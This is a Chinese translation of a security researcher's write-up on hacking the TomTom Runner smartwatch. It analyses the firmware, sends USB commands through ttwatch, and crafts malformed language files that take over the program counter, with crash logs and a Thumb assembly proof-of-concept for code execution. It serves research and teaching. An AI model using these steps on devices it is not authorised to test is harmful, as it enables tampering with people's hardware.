Pwn掉智慧手錶的正確姿勢

wyzsk發表於2020-08-19
作者: 武漢大學資訊保安協會 · 2015/12/07 10:19

原文連結:http://grangeia.io/2015/11/09/hacking-tomtom-runner-pt1/ part1 part2 part3

雖然專業化是很多領域的關鍵所在,但是我個人認為在資訊保安這一領域,過於專業會導致視野狹隘、觀點片面。現在我就想讓自己嘗試那些我不是很喜歡的領域,而這篇文章就是在闡述一個我討厭了很久的東西:嵌入式硬體逆向工程。

0x00 動機


現在的物聯網裝置有很多吸引人的地方:

  • 簡單的處理器架構:通常嵌入式韌體的硬體和軟體,相比一般的通用計算機、作業系統複雜的智慧手機/平板電腦,要更簡單。
  • 更少的攻擊解救措施:這類的裝置通常都缺乏記憶體保護,比如ASLR,DEP, 堆疊檢測等等。
  • ARM處理器架構:雖然我有一些x86/x64的逆向經驗,但是再次著手,我發現瞭解ARM也許比了解Intel處理器更重要,因為安卓、IOS、智慧手機和平板電腦都是使用的這樣的架構。

今年有個很明顯的流行詞,物聯網。撇去流行不說,我認為我們確實已經到了任何電子裝置都會生成資料並分享給全世界的地步。

0x01 準備


這次我們來破解這款智慧手錶

The TomTom Runner

首先要做的第一件事就是給所有這些裝置下載了韌體,這些裝置的韌體通常都可以在廠家官網或者使用者論壇上找到。

0x02 從外部尋找突破口


選擇好了入侵TomTom,接下來就要從一個駭客的角度來研究它了。我們這裡不要選擇拆這個智慧手錶,也不要用JTAG或者Debug pins來進行硬體上的入侵。而且感覺TomTom手錶應該會有一些保護措施,這個也應該比較困難。

所以,從外部看,我想到了下面這些攻擊途徑:

  • GPS:如果你有HackRF或者類似的無線電外設,你可以透過GPS接收器去攻擊這個裝置,不過個人感覺,這個沒什麼意義。
  • 藍芽:這個裝置有藍芽介面,執行起來有點像協議層的USB。根據我的研究,只要這個裝置藍芽配對成功,就能像USB那樣連線。這個可以用ttblue實現。
  • USB介面:這個應該是最常用的手段,我們之後再細談。

0x03 韌體


要入侵任何一臺裝置的第一步都是獲取它的韌體包,我是透過看TomTom如何用官方軟體給手錶韌體升級實現的。

用Wireshark同時強迫韌體升級可以找到韌體的檔案目錄:

如果你足夠細心的話,你就會發現這就是一個常規的HTTP頁面,沒有SSL。這點之後還會用到。這裡有很多的檔案,但是有用的就只有:

  • 0x000000F0是主要硬體檔案。
  • 0x0081000*是語言資原始檔(英語/德語等等)。

還有一些其他的檔案:裝置配置檔案,GPS和BLE模組硬體。這兩個是加密了的檔案,不過沒什麼意思。

這個最大的檔案0x000000F0(將近400kb),應該是主要的韌體包。用binwalk韌體分析器開啟發現了這些東西:

$ binwalk -BEH 0x000000F0
DECIMAL       HEXADECIMAL     HEURISTIC ENTROPY ANALYSIS
--------------------------------------------------------------------------------
1024          0x400           High entropy data, best guess: encrypted, size: 470544, 0     low entropy blocks

如果你還想進一步破解的話可以用vbindiff比較下這兩個不同的韌體版本:

注意:

  • 檔案在16位元組blocks中是不同的。
  • 有些blocks是和其他不同的blocks交織在一起的。

這就說明這很有可能是在ECB模式中的某種分組密碼。現在最常見的16位元組密碼是AES。

我們過會兒再對韌體分析,現在我們看看可以從裝置的硬體瞭解到什麼東西。

0x04 硬體


在不開啟這個手錶的情況下我們怎樣瞭解它的內部資訊呢?基本上所有在美國出售RF發射裝置都被FCC測試過了,然後FCC會發表一篇報告,這個報告包含了各種豐富的資訊和照片:

上圖包括這些晶片:

  • Micron N25Q032A13ESC40F:**這是一個4MB的序列EEPROM,是這個裝置的“硬碟”,所有的exercise file都儲存在這裡面。
  • Texas Instruments CC2541:**這是個藍芽晶片。
  • Atmel ATSAM4S8C:**這是這個裝置的核心,包含了:
    • 一個Cortex-M4 ARM核心
    • 一個儲存了韌體和引導裝在程式的512kb快閃記憶體
    • 128kb的RAM記憶體

這個GPS晶片焊接在方向鍵附近。現在我們已經對這個裝置的內部有了充分的瞭解,我們就可以繼續入侵了。

0x05 USB通訊


為了充分理解相關知識,我在ttwatch上找了一個很好的開源軟體,TomTom Windows軟體做的事情它絕大部分都可以做到。

我看了下原始碼,實際上很多智慧手錶上的USB通訊都只是對EEPROM進行簡單的讀寫指令,同時我也找到了很多智慧手錶有趣而且不可記錄的USB指令。其實USB通訊非常簡單,每個指令都至少包含下面的這些位元組:

09 02 01 0E

"09" -> Indicates a command to the watch (preamble)
"02" -> Size of message
"01" -> sequence number. Should increment after each command.
"0E" -> Actual command byte (this one formats the EEPROM)

絕大多數智慧手錶接受或者發出指令都要從之前的4MB EEPROM中讀取或寫入。ttwatch已經為我們做好了這些,我們可以讀,寫並列出這些檔案:

#!bash
[email protected]:~/usb# ttwatch -l
0x00000030: 16072
0x00810004: 4198
0x00810005: 4136
0x00810009: 3968
0x0081000b: 3980
0x0081000a: 4152
0x0081000e: 3957
0x0081000f: 4156
0x0081000c: 4003
0x00810002: 4115
[...]    

[email protected]:~/usb# ttwatch -r 0x00f20000
<?xml version="1.0" encoding="UTF-8"?>
<preferences version="1" modified="seg set 21 13:34:28 2015">
    <ephemerisModified>0</ephemerisModified>
    <SyncTimeToPC>1</SyncTimeToPC>
    <SendAnonymousData>1</SendAnonymousData>
    <WatchWindowMinimized>0</WatchWindowMinimized>
    <watchName>lgrangeia</watchName>
    <ConfigURL>https://mysports.tomtom.com/service/config/config.json</ConfigURL>
    <exporters>
    </exporters>
</preferences>

我在測試中發現如果你對一個之前在download.tomtom.com看到的韌體檔案進行寫操作,下次你斷開手錶的USB連線時,這個手錶會重啟並且重新整理檔案。

0x06 突破口


首先,我們要檢視EEPROM中的每一個檔案,包括日誌檔案,給大家看個例子:

上面這個檔案表明,裝置裡的藍芽晶片有自己的韌體,並會在MD5驗證之後顯示出來。

其實我對那些被解析出來的檔案很感興趣,因為這些檔案容易修改,而且我認為應該好好利用裡面的漏洞。其中有兩種符合的檔案:運動資訊檔案和語言檔案。

運動檔案採用二進位制格式(ttbin),同時有一些工具,比如ttwatch,把這些檔案轉換成其他格式。不過我還是選擇放棄運動檔案,因為這個智慧手錶只能生成檔案而不會解析檔案:有一個介面會向你展示你最近的跑步情況,但裝置永遠不會開啟ttbin檔案去讀它。

所以還是語言檔案要有意思的多,讓我們隨便看看其中一個:

這段資料的結構非常簡單:

  • 前四個位元組是一個32位的整數,用來告訴我們除去前面八個位元組後的檔案大小,把它叫做sbuf_size;
  • 接下來的四個位元組也是一個32位的整數,用來說明檔案中所包含的ASCII 字串的數量,叫做num_strings;
  • 剩下的檔案包括以null結尾的字串,絕大多數是ASCII字元。有些字元不能列印,大概是一些自定義點陣圖(有些選單入口有圖示,就像飛機上的“飛航模式”選項)。

在很多情況下,解析器都無法對這個檔案進行準確的解析,所以我列出了一系列要解決的問題:

  • 將字串格式化:我把每一個單獨的字串都用“%x”替代了;
  • sbuf_size比正確的檔案大小要大;
  • num_strings比兩個正確的以null結尾的字串數量要大;
  • 字串中不能含有null。

這個結構很簡單,所以我們不需要自動的漏洞檢查工具去檢測。

接下來的事就很簡單了,用電腦上的十六進位制編輯器編輯檔案,再用ttwatch檔案傳輸選擇上傳到裝置當中:

#!bash
$ cat 00810003.bin | ttwatch -w 0x00810003

這裡要注意每個檔案都對應不同的翻譯。我改變了德語檔案,然後斷開裝置的USB連線,並把裝置的語言設定為德語,最後將上面的問題解決了一些。

當你試圖改變UI語言時這個裝置應該會自動重啟,當然別的情況也會重啟,不過這個還是有些不同,因為在那之後EEPROM(0x00013000)中多了個新檔案:

#!bash
$ ttwatch -r 0x00013000
Crashlog - SW ver 1.8.42
R1 = 0x00000000
R2 = 0x00000002
R3 = 0x00000f95
R12 = 0x00000000
LR [R14] = 0x00441939 subroutine call return address
PC [R15] = 0x2001b26c program counter
PSR = 0x41000000
BFAR = 0x010f0040
CFSR = 0x00008200
HFSR = 0x40000000
DFSR = 0x00000000
AFSR = 0x00000000
Batt = 4160 mV
stack hi = 0x000004d4

你沒有看錯!這是崩潰日誌!從這個檔案我們得到許多有用的東西。比如我們可以得到一些關鍵暫存器的值,包括程式計數器、R0-R3、R12、一些狀態值 、以及電池電量和堆疊大小。透過重啟之後重複的一些過程,我們得到了暫存器的一些相同的值,這意味著這個智慧手錶當中沒有使用任何記憶體隨機化的手段。

接著是許多資料表和ARM文件。很快我就從中瞭解到一個最重要的資訊,那就是執行流程從快閃記憶體ROM到了ARM區域。這可以從PC(程式計數器)的值中看出。它的值就是儲存在RAM中的記憶體區域。請注意下面這張來自Atmel的資料表:

因為某種原因,執行從ROM區域跳到了我們裝載語言檔案區域附近的SRAM,起始地址是0x20000000。如果我們能夠控制好我們語言檔案的位置或者從正確的方向“推動”程式計數器,我們就能自己控制跳躍到記憶體區域。

經過一些改動之後,我注意到有兩個不同型別的崩潰:第一個是在我選擇非法語言檔案的時候,第二個是在我從選單中滾動語言的時候。第二個確實也會導致重啟。似乎不管你有沒有選擇,語言檔案都會載入到RAM中。這也給了我另一個想法:我可以改變其他語言檔案的內容,看看這是否會對暫存器產生某種影響。

我改變了所有字母B(ASCII碼0x42)的語言列表中的下一個語言檔案,沒有改變sbuf_size的value並把num_strings設定為零。之前的語言檔案仍然有6001位元大小的sbuf_size。接著我重啟了手表,進入語言選單滾動了下語言。接著手錶崩潰了:

Crashlog - SW ver 1.8.42
 R0 = 0x2001b088
 R1 = 0x42424242
 R2 = 0x00000002
 R3 = 0x00000f95
 R12 = 0x00000000
 LR [R14] = 0x00441939 subroutine call return address
 PC [R15] = 0x42424242 program counter
 PSR = 0x60000000
 BFAR = 0xe000ed38
 CFSR = 0x00000001
 HFSR = 0x40000000
 DFSR = 0x00000000
 AFSR = 0x00000000
 Batt = 4190 mV
 stack hi = 0x000004d4

看到了麼,我們能夠控制進入程式計數器的東西!不知怎麼的,執行流程跳到了我們控制的地址,也就是說我們可以執行轉移到記憶體的任何一個地方了,這也就代表著我們可以在TomTom中執行任意程式碼了。

0x06 程式碼執行


好的,我們現在已經知道如何轉移到記憶體中的任何一個地方了,在一個普通的作業系統中,有很多我們可以做的事情:系統呼叫、標準庫呼叫等等。但這個裝置就沒這麼好了。

首先我們驗證下簡單的payload的執行,payload構造可以在彙編中完成。下面是我的第一次嘗試:

.syntax unified
.thumb    

mov r2, #0x13
mov r3, #0x37    

add r1, r3, r2, lsl #8    

mov r0, #0
bx r0

注意一定要指定Thumb指令,因為Cortex-M4只會在Thumb模式下執行。程式碼的 最後兩行跳到了地址0x00000000,這樣每次都會導致崩潰,因為ARM處理器會根據bx jump的指令地址最後的標誌位選擇使用ARM指令還是Thumb指令。現在最低位是0,所以我們使用的是ARM指令。而就像前面剛說的那樣,ARM ortex-M4只支援Thumb,所以出錯了。

我們可以用交叉編譯器工具在一個非ARM Linux系統中解決這個問題。就像這樣:

#!bash
$ arm-none-eabi-as -mcpu=cortex-m4 -o first.o first.s

這是編譯好的程式碼,用objdump反編譯:

#!bash
$ arm-linux-gnueabi-objdump -d first.o    

first.o:     file format elf32-littlearm    

Disassembly of section .text:
00000000 <.text>:
   0:   f04f 0213   mov.w   r2, #19
   4:   f04f 0337   mov.w   r3, #55 ; 0x37
   8:   eb03 2102   add.w   r1, r3, r2, lsl #8
   c:   f04f 0000   mov.w   r0, #0
  10:   4700        bx  r0

接下來要做的,是把這個payload放到裝置中。我們把這個放到德語檔案,然後把用於jump指令的指標(第二個檔案中的第四雙字)指向它。

下面這張圖片是在第二個檔案(0x00810003)設定的所有內容:

第四個雙字很明顯指向我們的payload,然後我把檔案裝載到了手錶中,像之前那樣透過選擇語言執行跳轉。在又一次崩潰之後,我們得到了這樣的的崩潰日誌(請注意第1、2、3行):

Crashlog - SW ver 1.8.42
 R0 = 0x00000000
 R1 = 0x00001337
 R2 = 0x00000013
 R3 = 0x00000037
 R12 = 0x00000000
 LR [R14] = 0x00441939 subroutine call return address
 PC [R15] = 0x00000000 program counter
 PSR = 0x20000000
 BFAR = 0xe000ed38
 CFSR = 0x00020000
 HFSR = 0x40000000
 DFSR = 0x00000000
 AFSR = 0x00000000
 Batt = 4192 mV
 stack hi = 0x000004d4

如上圖所示,我們現在就可以在一個在物聯網裝置的封閉韌體中進行任意的程式碼執行了!

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章